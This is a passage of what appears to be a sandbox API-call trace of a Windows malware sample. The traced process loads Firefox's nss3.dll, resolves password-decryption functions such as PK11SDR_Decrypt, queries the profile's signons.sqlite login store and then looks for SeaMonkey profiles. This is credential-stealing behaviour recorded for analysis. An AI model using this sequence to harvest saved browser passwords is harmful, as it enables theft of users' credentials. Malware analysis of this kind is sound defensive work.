	[0100.251] wcscat (in: _Dest=0x18a300, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Mozilla Firefox\\") returned="C:\\Program Files (x86)\\Mozilla Firefox\\"
	[0100.251] wcscat (in: _Dest=0x18a300, _Source="nss3.dll" | out: _Dest="C:\\Program Files (x86)\\Mozilla Firefox\\nss3.dll") returned="C:\\Program Files (x86)\\Mozilla Firefox\\nss3.dll"
	[0100.251] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Mozilla Firefox\\nss3.dll" (normalized: "c:\\program files (x86)\\mozilla firefox\\nss3.dll")) returned 0x20
	[0100.253] wcscpy (in: _Dest=0x18ad28, _Source="C:\\Program Files (x86)\\Mozilla Firefox" | out: _Dest="C:\\Program Files (x86)\\Mozilla Firefox") returned="C:\\Program Files (x86)\\Mozilla Firefox"
	[0100.253] RegEnumKeyExW (in: hKey=0x108, dwIndex=0x3, lpName=0x18af38, lpcchName=0x18a508, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x18a500 | out: lpName="Mozilla Firefox 25.0", lpcchName=0x18a508, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x18a500) returned 0x103
	[0100.253] RegCloseKey (hKey=0x108) returned 0x0
	[0100.253] wcscpy (in: _Dest=0x18b584, _Source="C:\\Program Files (x86)\\Mozilla Firefox" | out: _Dest="C:\\Program Files (x86)\\Mozilla Firefox") returned="C:\\Program Files (x86)\\Mozilla Firefox"
	[0100.253] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x18dcd4 | out: lpBuffer="C:\\Windows\\system32") returned 0x13
	[0100.253] SetCurrentDirectoryW (lpPathName="C:\\Program Files (x86)\\Mozilla Firefox" (normalized: "c:\\program files (x86)\\mozilla firefox")) returned 1
	[0100.253] wcslen (_String="nss3.dll") returned 0x8
	[0100.253] wcslen (_String="C:\\Program Files (x86)\\Mozilla Firefox") returned 0x26
	[0100.253] wcscpy (in: _Dest=0x18b374, _Source="C:\\Program Files (x86)\\Mozilla Firefox" | out: _Dest="C:\\Program Files (x86)\\Mozilla Firefox") returned="C:\\Program Files (x86)\\Mozilla Firefox"
	[0100.253] wcslen (_String="C:\\Program Files (x86)\\Mozilla Firefox") returned 0x26
	[0100.253] wcscat (in: _Dest=0x18b374, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Mozilla Firefox\\") returned="C:\\Program Files (x86)\\Mozilla Firefox\\"
	[0100.253] wcscat (in: _Dest=0x18b374, _Source="nss3.dll" | out: _Dest="C:\\Program Files (x86)\\Mozilla Firefox\\nss3.dll") returned="C:\\Program Files (x86)\\Mozilla Firefox\\nss3.dll"
	[0100.254] GetModuleHandleW (lpModuleName="C:\\Program Files (x86)\\Mozilla Firefox\\nss3.dll") returned 0x0
	[0100.435] LoadLibraryExW (lpLibFileName="C:\\Program Files (x86)\\Mozilla Firefox\\nss3.dll", hFile=0x0, dwFlags=0x8) returned 0x70f50000
	[0101.291] GetProcAddress (hModule=0x70f50000, lpProcName="NSS_Init") returned 0x7100d70b
	[0101.315] GetProcAddress (hModule=0x70f50000, lpProcName="NSS_Shutdown") returned 0x7100d13c
	[0101.315] GetProcAddress (hModule=0x70f50000, lpProcName="PK11_GetInternalKeySlot") returned 0x70fa3c51
	[0101.315] GetProcAddress (hModule=0x70f50000, lpProcName="PK11_FreeSlot") returned 0x70fa3333
	[0101.315] GetProcAddress (hModule=0x70f50000, lpProcName="PK11_CheckUserPassword") returned 0x70f8cbc4
	[0101.315] GetProcAddress (hModule=0x70f50000, lpProcName="PK11_Authenticate") returned 0x70f8d3ca
	[0101.315] GetProcAddress (hModule=0x70f50000, lpProcName="PK11SDR_Decrypt") returned 0x70fa00a7
	[0101.322] NSS_Init () returned 0x0
	[0102.034] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default") returned 0x4b
	[0102.034] wcslen (_String="signons.txt") returned 0xb
	[0102.034] wcscpy (in: _Dest=0x18b9c0, _Source="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default"
	[0102.034] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default") returned 0x4b
	[0102.034] wcscat (in: _Dest=0x18b9c0, _Source="\\" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\"
	[0102.034] wcscat (in: _Dest=0x18b9c0, _Source="signons.txt" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\signons.txt") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\signons.txt"
	[0102.034] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default") returned 0x4b
	[0102.034] wcslen (_String="signons2.txt") returned 0xc
	[0102.034] wcscpy (in: _Dest=0x18bbd0, _Source="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default"
	[0102.034] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default") returned 0x4b
	[0102.034] wcscat (in: _Dest=0x18bbd0, _Source="\\" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\"
	[0102.034] wcscat (in: _Dest=0x18bbd0, _Source="signons2.txt" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\signons2.txt") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\signons2.txt"
	[0102.034] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default") returned 0x4b
	[0102.034] wcslen (_String="signons3.txt") returned 0xc
	[0102.034] wcscpy (in: _Dest=0x18b7b0, _Source="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default"
	[0102.035] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default") returned 0x4b
	[0102.035] wcscat (in: _Dest=0x18b7b0, _Source="\\" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\"
	[0102.035] wcscat (in: _Dest=0x18b7b0, _Source="signons3.txt" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\signons3.txt") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\signons3.txt"
	[0102.035] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default") returned 0x4b
	[0102.035] wcslen (_String="signons.sqlite") returned 0xe
	[0102.035] wcscpy (in: _Dest=0x18bde0, _Source="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default"
	[0102.035] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default") returned 0x4b
	[0102.035] wcscat (in: _Dest=0x18bde0, _Source="\\" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\"
	[0102.035] wcscat (in: _Dest=0x18bde0, _Source="signons.sqlite" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\signons.sqlite") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\signons.sqlite"
	[0102.035] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\signons.sqlite" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\mozilla\\firefox\\profiles\\3y2joh8o.default\\signons.sqlite")) returned 0x2020
	[0102.036] _snwprintf (in: _Dest=0x188478, _Count=0x3ff, _Format="%s\\bin" | out: _Dest="Mozilla Firefox\\bin") returned 19
	[0102.036] RegOpenKeyExW (in: hKey=0x134, lpSubKey="Mozilla Firefox\\bin", ulOptions=0x0, samDesired=0x20019, phkResult=0x188448 | out: phkResult=0x188448*=0x0) returned 0x2
	[0102.036] RegEnumKeyExW (in: hKey=0x134, dwIndex=0x2, lpName=0x188e88, lpcchName=0x188458, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x188450 | out: lpName="Mozilla Firefox 25.0", lpcchName=0x188458, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x188450) returned 0x0
	[0102.036] _wcsnicmp (_String1="Mozilla", _String2="mozilla", _MaxCount=0x7) returned 0
	[0102.036] _snwprintf (in: _Dest=0x188478, _Count=0x3ff, _Format="%s\\bin" | out: _Dest="Mozilla Firefox 25.0\\bin") returned 24
	[0102.036] RegOpenKeyExW (in: hKey=0x134, lpSubKey="Mozilla Firefox 25.0\\bin", ulOptions=0x0, samDesired=0x20019, phkResult=0x188448 | out: phkResult=0x188448*=0x138) returned 0x0
	[0102.036] RegQueryValueExW (in: hKey=0x138, lpValueName="PathToExe", lpReserved=0x0, lpType=0x18842c, lpData=0x189088, lpcbData=0x188430*=0x208 | out: lpType=0x18842c*=0x1, lpData="C:\\Program Files (x86)\\Mozilla Firefox\\firefox.exe", lpcbData=0x188430*=0x66) returned 0x0
	[0102.036] RegCloseKey (hKey=0x138) returned 0x0
	[0102.036] wcslen (_String="C:\\Program Files (x86)\\Mozilla Firefox") returned 0x26
	[0102.036] wcslen (_String="nss3.dll") returned 0x8
	[0102.036] wcscpy (in: _Dest=0x188250, _Source="C:\\Program Files (x86)\\Mozilla Firefox" | out: _Dest="C:\\Program Files (x86)\\Mozilla Firefox") returned="C:\\Program Files (x86)\\Mozilla Firefox"
	[0102.036] wcslen (_String="C:\\Program Files (x86)\\Mozilla Firefox") returned 0x26
	[0102.036] wcscat (in: _Dest=0x188250, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Mozilla Firefox\\") returned="C:\\Program Files (x86)\\Mozilla Firefox\\"
	[0102.036] wcscat (in: _Dest=0x188250, _Source="nss3.dll" | out: _Dest="C:\\Program Files (x86)\\Mozilla Firefox\\nss3.dll") returned="C:\\Program Files (x86)\\Mozilla Firefox\\nss3.dll"
	[0102.036] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Mozilla Firefox\\nss3.dll" (normalized: "c:\\program files (x86)\\mozilla firefox\\nss3.dll")) returned 0x20
	[0102.037] wcscpy (in: _Dest=0x188c78, _Source="C:\\Program Files (x86)\\Mozilla Firefox" | out: _Dest="C:\\Program Files (x86)\\Mozilla Firefox") returned="C:\\Program Files (x86)\\Mozilla Firefox"
	[0102.037] RegEnumKeyExW (in: hKey=0x134, dwIndex=0x3, lpName=0x188e88, lpcchName=0x188458, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x188450 | out: lpName="Mozilla Firefox 25.0", lpcchName=0x188458, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x188450) returned 0x103
	[0102.037] RegCloseKey (hKey=0x134) returned 0x0
	[0102.037] wcscpy (in: _Dest=0x1894f0, _Source="C:\\Program Files (x86)\\Mozilla Firefox" | out: _Dest="C:\\Program Files (x86)\\Mozilla Firefox") returned="C:\\Program Files (x86)\\Mozilla Firefox"
	[0102.037] wcscpy (in: _Dest=0x1892c0, _Source="C:\\Program Files (x86)\\Mozilla Firefox" | out: _Dest="C:\\Program Files (x86)\\Mozilla Firefox") returned="C:\\Program Files (x86)\\Mozilla Firefox"
	[0102.037] wcscat (in: _Dest=0x1894f0, _Source="\\sqlite3.dll" | out: _Dest="C:\\Program Files (x86)\\Mozilla Firefox\\sqlite3.dll") returned="C:\\Program Files (x86)\\Mozilla Firefox\\sqlite3.dll"
	[0102.037] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Mozilla Firefox\\sqlite3.dll" (normalized: "c:\\program files (x86)\\mozilla firefox\\sqlite3.dll")) returned 0xffffffff
	[0102.037] wcscpy (in: _Dest=0x1894f0, _Source="C:\\Program Files (x86)\\Mozilla Firefox" | out: _Dest="C:\\Program Files (x86)\\Mozilla Firefox") returned="C:\\Program Files (x86)\\Mozilla Firefox"
	[0102.037] wcscat (in: _Dest=0x1894f0, _Source="\\mozsqlite3.dll" | out: _Dest="C:\\Program Files (x86)\\Mozilla Firefox\\mozsqlite3.dll") returned="C:\\Program Files (x86)\\Mozilla Firefox\\mozsqlite3.dll"
	[0102.037] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Mozilla Firefox\\mozsqlite3.dll" (normalized: "c:\\program files (x86)\\mozilla firefox\\mozsqlite3.dll")) returned 0xffffffff
	[0102.037] wcscpy (in: _Dest=0x1894f0, _Source="C:\\Program Files (x86)\\Mozilla Firefox" | out: _Dest="C:\\Program Files (x86)\\Mozilla Firefox") returned="C:\\Program Files (x86)\\Mozilla Firefox"
	[0102.037] wcscat (in: _Dest=0x1894f0, _Source="\\nss3.dll" | out: _Dest="C:\\Program Files (x86)\\Mozilla Firefox\\nss3.dll") returned="C:\\Program Files (x86)\\Mozilla Firefox\\nss3.dll"
	[0102.037] GetModuleHandleW (lpModuleName="C:\\Program Files (x86)\\Mozilla Firefox\\nss3.dll") returned 0x70f50000
	[0102.037] GetProcAddress (hModule=0x70f50000, lpProcName="sqlite3_open") returned 0x710b1ca0
	[0102.038] GetProcAddress (hModule=0x70f50000, lpProcName="sqlite3_prepare") returned 0x7103ce70
	[0102.038] GetProcAddress (hModule=0x70f50000, lpProcName="sqlite3_step") returned 0x710a5200
	[0102.038] GetProcAddress (hModule=0x70f50000, lpProcName="sqlite3_column_text") returned 0x7105d400
	[0102.038] GetProcAddress (hModule=0x70f50000, lpProcName="sqlite3_column_int") returned 0x7105d3a0
	[0102.038] GetProcAddress (hModule=0x70f50000, lpProcName="sqlite3_column_int64") returned 0x7105d3d0
	[0102.038] GetProcAddress (hModule=0x70f50000, lpProcName="sqlite3_finalize") returned 0x71089f60
	[0102.038] GetProcAddress (hModule=0x70f50000, lpProcName="sqlite3_close") returned 0x7108bde0
	[0102.038] GetProcAddress (hModule=0x70f50000, lpProcName="sqlite3_exec") returned 0x7108a270
	[0102.038] sqlite3_open () returned 0x0
	[0102.048] sqlite3_prepare () returned 0x0
	[0102.054] sqlite3_step () returned 0x65
	[0102.054] sqlite3_finalize () returned 0x0
	[0102.054] sqlite3_close () returned 0x0
	[0102.054] NSS_Shutdown () returned 0x0
	[0102.057] SetCurrentDirectoryW (lpPathName="C:\\Windows\\system32" (normalized: "c:\\windows\\system32")) returned 1
	[0102.058] _snwprintf (in: _Dest=0x18a528, _Count=0x3ff, _Format="%s\\bin" | out: _Dest="Mozilla Firefox\\bin") returned 19
	[0102.058] RegOpenKeyExW (in: hKey=0x108, lpSubKey="Mozilla Firefox\\bin", ulOptions=0x0, samDesired=0x20019, phkResult=0x18a4f8 | out: phkResult=0x18a4f8*=0x0) returned 0x2
	[0102.058] RegEnumKeyExW (in: hKey=0x108, dwIndex=0x2, lpName=0x18af38, lpcchName=0x18a508, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x18a500 | out: lpName="Mozilla Firefox 25.0", lpcchName=0x18a508, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x18a500) returned 0x0
	[0102.058] _wcsnicmp (_String1="Mozilla", _String2="mozilla", _MaxCount=0x7) returned 0
	[0102.058] _snwprintf (in: _Dest=0x18a528, _Count=0x3ff, _Format="%s\\bin" | out: _Dest="Mozilla Firefox 25.0\\bin") returned 24
	[0102.058] RegOpenKeyExW (in: hKey=0x108, lpSubKey="Mozilla Firefox 25.0\\bin", ulOptions=0x0, samDesired=0x20019, phkResult=0x18a4f8 | out: phkResult=0x18a4f8*=0x12c) returned 0x0
	[0102.058] RegQueryValueExW (in: hKey=0x12c, lpValueName="PathToExe", lpReserved=0x0, lpType=0x18a4dc, lpData=0x18b138, lpcbData=0x18a4e0*=0x208 | out: lpType=0x18a4dc*=0x1, lpData="C:\\Program Files (x86)\\Mozilla Firefox\\firefox.exe", lpcbData=0x18a4e0*=0x66) returned 0x0
	[0102.058] RegCloseKey (hKey=0x12c) returned 0x0
	[0102.058] wcslen (_String="C:\\Program Files (x86)\\Mozilla Firefox") returned 0x26
	[0102.058] wcslen (_String="nss3.dll") returned 0x8
	[0102.058] wcscpy (in: _Dest=0x18a300, _Source="C:\\Program Files (x86)\\Mozilla Firefox" | out: _Dest="C:\\Program Files (x86)\\Mozilla Firefox") returned="C:\\Program Files (x86)\\Mozilla Firefox"
	[0102.058] wcslen (_String="C:\\Program Files (x86)\\Mozilla Firefox") returned 0x26
	[0102.058] wcscat (in: _Dest=0x18a300, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Mozilla Firefox\\") returned="C:\\Program Files (x86)\\Mozilla Firefox\\"
	[0102.058] wcscat (in: _Dest=0x18a300, _Source="nss3.dll" | out: _Dest="C:\\Program Files (x86)\\Mozilla Firefox\\nss3.dll") returned="C:\\Program Files (x86)\\Mozilla Firefox\\nss3.dll"
	[0102.059] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Mozilla Firefox\\nss3.dll" (normalized: "c:\\program files (x86)\\mozilla firefox\\nss3.dll")) returned 0x20
	[0102.059] wcscpy (in: _Dest=0x18ad28, _Source="C:\\Program Files (x86)\\Mozilla Firefox" | out: _Dest="C:\\Program Files (x86)\\Mozilla Firefox") returned="C:\\Program Files (x86)\\Mozilla Firefox"
	[0102.059] RegEnumKeyExW (in: hKey=0x108, dwIndex=0x3, lpName=0x18af38, lpcchName=0x18a508, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x18a500 | out: lpName="Mozilla Firefox 25.0", lpcchName=0x18a508, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x18a500) returned 0x103
	[0102.059] RegCloseKey (hKey=0x108) returned 0x0
	[0102.059] wcscpy (in: _Dest=0x18b584, _Source="C:\\Program Files (x86)\\Mozilla Firefox" | out: _Dest="C:\\Program Files (x86)\\Mozilla Firefox") returned="C:\\Program Files (x86)\\Mozilla Firefox"
	[0102.059] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x18dcd4 | out: lpBuffer="C:\\Windows\\system32") returned 0x13
	[0102.059] SetCurrentDirectoryW (lpPathName="C:\\Program Files (x86)\\Mozilla Firefox" (normalized: "c:\\program files (x86)\\mozilla firefox")) returned 1
	[0102.059] wcslen (_String="nss3.dll") returned 0x8
	[0102.059] wcslen (_String="C:\\Program Files (x86)\\Mozilla Firefox") returned 0x26
	[0102.059] wcscpy (in: _Dest=0x18b374, _Source="C:\\Program Files (x86)\\Mozilla Firefox" | out: _Dest="C:\\Program Files (x86)\\Mozilla Firefox") returned="C:\\Program Files (x86)\\Mozilla Firefox"
	[0102.059] wcslen (_String="C:\\Program Files (x86)\\Mozilla Firefox") returned 0x26
	[0102.059] wcscat (in: _Dest=0x18b374, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Mozilla Firefox\\") returned="C:\\Program Files (x86)\\Mozilla Firefox\\"
	[0102.059] wcscat (in: _Dest=0x18b374, _Source="nss3.dll" | out: _Dest="C:\\Program Files (x86)\\Mozilla Firefox\\nss3.dll") returned="C:\\Program Files (x86)\\Mozilla Firefox\\nss3.dll"
	[0102.059] GetModuleHandleW (lpModuleName="C:\\Program Files (x86)\\Mozilla Firefox\\nss3.dll") returned 0x70f50000
	[0102.059] GetProcAddress (hModule=0x70f50000, lpProcName="NSS_Init") returned 0x7100d70b
	[0102.060] GetProcAddress (hModule=0x70f50000, lpProcName="NSS_Shutdown") returned 0x7100d13c
	[0102.060] GetProcAddress (hModule=0x70f50000, lpProcName="PK11_GetInternalKeySlot") returned 0x70fa3c51
	[0102.060] GetProcAddress (hModule=0x70f50000, lpProcName="PK11_FreeSlot") returned 0x70fa3333
	[0102.060] GetProcAddress (hModule=0x70f50000, lpProcName="PK11_CheckUserPassword") returned 0x70f8cbc4
	[0102.060] GetProcAddress (hModule=0x70f50000, lpProcName="PK11_Authenticate") returned 0x70f8d3ca
	[0102.060] GetProcAddress (hModule=0x70f50000, lpProcName="PK11SDR_Decrypt") returned 0x70fa00a7
	[0102.060] NSS_Init () returned 0xffffffff
	[0102.070] SetCurrentDirectoryW (lpPathName="C:\\Windows\\system32" (normalized: "c:\\windows\\system32")) returned 1
	[0102.070] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x18bed8, csidl=26, fCreate=0 | out: pszPath="C:\\Users\\aETAdzjz\\AppData\\Roaming") returned 1
	[0102.070] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x18b698, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\aETAdzjz\\AppData\\Local") returned 1
	[0102.070] wcslen (_String="Mozilla\\SeaMonkey\\Profiles") returned 0x1a
	[0102.070] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Roaming") returned 0x21
	[0102.070] wcscpy (in: _Dest=0x18bcc8, _Source="C:\\Users\\aETAdzjz\\AppData\\Roaming" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Roaming") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming"
	[0102.070] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Roaming") returned 0x21
	[0102.070] wcscat (in: _Dest=0x18bcc8, _Source="\\" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\"
	[0102.070] wcscat (in: _Dest=0x18bcc8, _Source="Mozilla\\SeaMonkey\\Profiles" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\SeaMonkey\\Profiles") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\SeaMonkey\\Profiles"
	[0102.070] wcslen (_String="Mozilla\\SeaMonkey\\Profiles") returned 0x1a
	[0102.070] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local") returned 0x1f
	[0102.070] wcscpy (in: _Dest=0x18bab8, _Source="C:\\Users\\aETAdzjz\\AppData\\Local" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local") returned="C:\\Users\\aETAdzjz\\AppData\\Local"
	[0102.070] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local") returned 0x1f
	[0102.070] wcscat (in: _Dest=0x18bab8, _Source="\\" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\"
	[0102.070] wcscat (in: _Dest=0x18bab8, _Source="Mozilla\\SeaMonkey\\Profiles" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\SeaMonkey\\Profiles") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\SeaMonkey\\Profiles"
	[0102.071] wcslen (_String="Mozilla\\SeaMonkey") returned 0x11
	[0102.071] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Roaming") returned 0x21
	[0102.071] wcscpy (in: _Dest=0x18b8a8, _Source="C:\\Users\\aETAdzjz\\AppData\\Roaming" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Roaming") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming"
	[0102.071] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Roaming") returned 0x21
	[0102.071] wcscat (in: _Dest=0x18b8a8, _Source="\\" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\"
	[0102.071] wcscat (in: _Dest=0x18b8a8, _Source="Mozilla\\SeaMonkey" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\SeaMonkey") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\SeaMonkey"
	[0102.071] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\SeaMonkey\\Profiles") returned 0x3c
	[0102.071] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\SeaMonkey\\Profiles") returned 0x3c
	[0102.071] wcslen (_String="*.*") returned 0x3
	[0102.071] wcscpy (in: _Dest=0x18aa7c, _Source="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\SeaMonkey\\Profiles" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\SeaMonkey\\Profiles") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\SeaMonkey\\Profiles"
	[0102.071] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\SeaMonkey\\Profiles") returned 0x3c
	[0102.071] wcscat (in: _Dest=0x18aa7c, _Source="\\" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\SeaMonkey\\Profiles\\") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\SeaMonkey\\Profiles\\"
	[0102.071] wcscat (in: _Dest=0x18aa7c, _Source="*.*" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\SeaMonkey\\Profiles\\*.*") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\SeaMonkey\\Profiles\\*.*"
	[0102.071] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\SeaMonkey\\Profiles\\*.*", lpFindFileData=0x18ad04 | out: lpFindFileData=0x18ad04) returned 0xffffffff
	[0102.071] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\SeaMonkey\\Profiles") returned 0x3a
	[0102.071] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\SeaMonkey\\Profiles") returned 0x3a
	[0102.071] wcslen (_String="*.*") returned 0x3
	[0102.071] wcscpy (in: _Dest=0x18aa7c, _Source="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\SeaMonkey\\Profiles" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\SeaMonkey\\Profiles") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\SeaMonkey\\Profiles"
	[0102.071] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\SeaMonkey\\Profiles") returned 0x3a
	[0102.071] wcscat (in: _Dest=0x18aa7c, _Source="\\" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\SeaMonkey\\Profiles\\") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\SeaMonkey\\Profiles\\"
	[0102.071] wcscat (in: _Dest=0x18aa7c, _Source="*.*" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\SeaMonkey\\Profiles\\*.*") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\SeaMonkey\\Profiles\\*.*"
	[0102.071] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\SeaMonkey\\Profiles\\*.*", lpFindFileData=0x18ad04 | out: lpFindFileData=0x18ad04) returned 0xffffffff
	[0102.071] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\SeaMonkey") returned 0x33
	[0102.071] wcslen (_String="profiles.ini") returned 0xc
